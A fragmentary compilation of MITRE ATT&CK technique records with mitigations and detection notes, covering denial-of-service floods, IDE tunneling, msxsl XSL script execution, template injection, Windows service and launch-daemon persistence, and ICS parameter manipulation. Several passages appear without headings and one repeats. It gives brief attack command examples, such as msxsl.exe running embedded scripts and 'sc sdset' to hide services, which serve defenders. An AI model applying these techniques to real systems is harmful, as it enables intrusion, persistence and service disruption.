[…]\n\n## Reference: ATT&CK T1499 Endpoint Denial of Service\n**ATT&CK T1499 Endpoint Denial of Service (full record).** Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. […]\n\n## Reference: ATT&CK T1499.001 OS Exhaustion Flood\n**ATT&CK T1499.001 OS Exhaustion Flood (full record).** Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.\n\n**Classification.** - Tactics: impact\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1499 Endpoint Denial of Service - Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.

[…]\n\n## Reference: ATT&CK T1499.002 Service Exhaustion Flood\n**ATT&CK T1499.002 Service Exhaustion Flood (full record).** Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1499 Endpoint Denial of Service - Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.

IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution.

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.\n\nCommand-line examples:\n\n* `msxsl.exe customers[.]xml script[.]xsl`\n* `msxsl.exe script[.]xsl script[.]xsl`\n* `msxsl.exe script[.]jpeg script[.]jpeg`\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch. […]\n\n## Reference: ATT&CK T1221 Template Injection\n**ATT&CK T1221 Template Injection (full record).** Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx,.pptx) to replace older binary formats (.doc,.xls,.ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the `*\\template` control word within an.rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an.rtf file is opened. However, adversaries may alter the bytes of an existing.rtf file to insert a template control word field to include a URL resource of a malicious payload.\n\nThis technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Execution Prevention\nPrevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`)\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)\n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.\n\n## Principle\nAgainst T1218.013, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1211 Exploitation for Stealth\n**ATT&CK T1211 Exploitation for Stealth (full record).** Adversaries may exploit vulnerabilities to evade detection by hiding activity, suppressing logging, or operating within trusted or unmonitored components.\n\nAdversaries may exploit a system or application vulnerability to avoid detection while maintaining access within an environment. Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Threat Intelligence Program**: A Threat Intelligence Program enables organizations to proactively identify, analyze, and act on cyber threats by leveraging internal and external data sources. The program supports decision-making processes, prioritizes defenses, and improves incident response by delivering actionable intelligence tailored to the organization's risk profile and operational environment. […]\n\n## Reference: ATT&CK T1212 Exploitation for Credential Access\n**ATT&CK T1212 Exploitation for Credential Access (full record).** Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, Windows, macOS, Identity Provider\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. […]\n\n## Reference: ATT&CK T1213 Data from Information Repositories\n**ATT&CK T1213 Data from Information Repositories (full record).** Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., Transfer Data to Cloud Account).\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases\n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams\n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.\n\n**Classification.** - Tactics: collection\n- Platforms: Linux, Windows, macOS, SaaS, IaaS, Office Suite\n\n**Sub-techniques.** - T1213.003 Code Repositories: Adversaries may leverage code repositories to collect valuable information.

Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\n**Classification.** - Tactics: collection\n- Platforms: SaaS\n- Sub-technique of: T1213 Data from Information Repositories - Adversaries may leverage information repositories to mine valuable information.\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Programmatic and Excessive Access to Confluence Documentation**\n  - Detection of excessive or programmatic access to Confluence spaces or pages, particularly by privileged users, through a combination of access logs, API usage, and identity context.

Chain: (1) mavinject.exe starts with /INJECTRUNNING or /HMODULE → (2) mavinject obtains high-access handles to a target process (VM_WRITE/CREATE_THREAD) → (3) target process loads attacker DLL (module load) → (4) optional follow-on child activity or network egress from the target process.

TONESHELL malware has previously been leveraged by Chinese affiliated actors identified as Mustang Panda.\n\n## Reference: ATT&CK T1543.003 Windows Service\n**ATT&CK T1543.003 Windows Service (full record).** Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.\n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW` (or manually via functions such as `ZwLoadDriver` and `ZwSetValueKey`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`. […]\n\n## Reference: ATT&CK T1543.004 Launch Daemon\n**ATT&CK T1543.004 Launch Daemon (full record).** Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in `/System/Library/LaunchDaemons/` and `/Library/LaunchDaemons/`. Required Launch Daemons parameters include a `Label` to identify the task, `Program` to provide a path to the executable, and `RunAtLoad` to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the `RunAtLoad` parameter set to `true` and the `Program` parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as `usr/local/bin` to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.

These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.\n\nFor example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host. A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.\n\nIn Kubernetes environments, DaemonSets allow an adversary to persistently Deploy Containers on all nodes, including ones added later to the cluster. Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.\n\nNote that containers can also be configured to run as Systemd Services.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Containers\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.

These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies.

Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Linux, macOS, Windows, SaaS, IaaS, Office Suite\n\n**Sub-techniques.** - T1546.002 Screensaver: Adversaries may establish persistence by executing malicious content triggered by user inactivity.\n- T1546.013 PowerShell Profile: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.\n- T1546.016 Installer Packages: Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content.\n- T1546.003 Windows Management Instrumentation Event Subscription: Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.\n- T1546.006 LC_LOAD_DYLIB Addition: Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries.\n- T1546.018 Python Startup Hooks: Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules.\n- T1546.011 Application Shimming: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.

Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks.\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations.

Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1584 Compromise Infrastructure - Adversaries may compromise third-party infrastructure that can be used during targeting.

Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account.

This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1498 Network Denial of Service - Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.

This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented. In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1498 Network Denial of Service - Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.

IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as IDE Extensions.\n\n## Reference: ATT&CK T0832 Manipulation of View\n**ATT&CK T0832 Manipulation of View (full record).** Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported.\n\nOperators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.\n\n**Classification.** - Tactics: impact\n- Platforms: None\n\n**Mitigations.** - **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Out-of-Band Communications Channel**: Have alternative methods to support communication requirements during communication failures and data integrity attacks.\n- **Data Backup**: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise. Maintain and exercise incident response plans, including the management of 'gold-copy' back-up images and configurations for key systems to enable quick recovery and response from adversarial activities that impact control, view, or availability.\n\n**Detection strategies and analytics.** - **Detection of Manipulation of View**\n  - No standard detection method currently exists for this technique.

Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries.

Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\n\nOne of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded\n\n**Mitigations.** - **Mitigation Limited or Not Effective**: This type of attack technique cannot be easily mitigated with preventative controls since it is based on the abuse of system features.\n\n**Detection strategies and analytics.** - **Detection of Manipulate I/O Image**\n  - Real-time monitoring identifies an Industrial Control System (ICS) protocol write to output register addresses on a field device from a source not in the approved write-source list, correlated with a discrepancy between the value reported by the Input/Output (I/O) image and an independent measurement of the actual physical output state. […]\n\n## Reference: ATT&CK T0836 Modify Parameter\n**ATT&CK T0836 Modify Parameter (full record).** Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor.\n\nAn adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter.\n\n**Classification.** - Tactics: impair-process-control\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

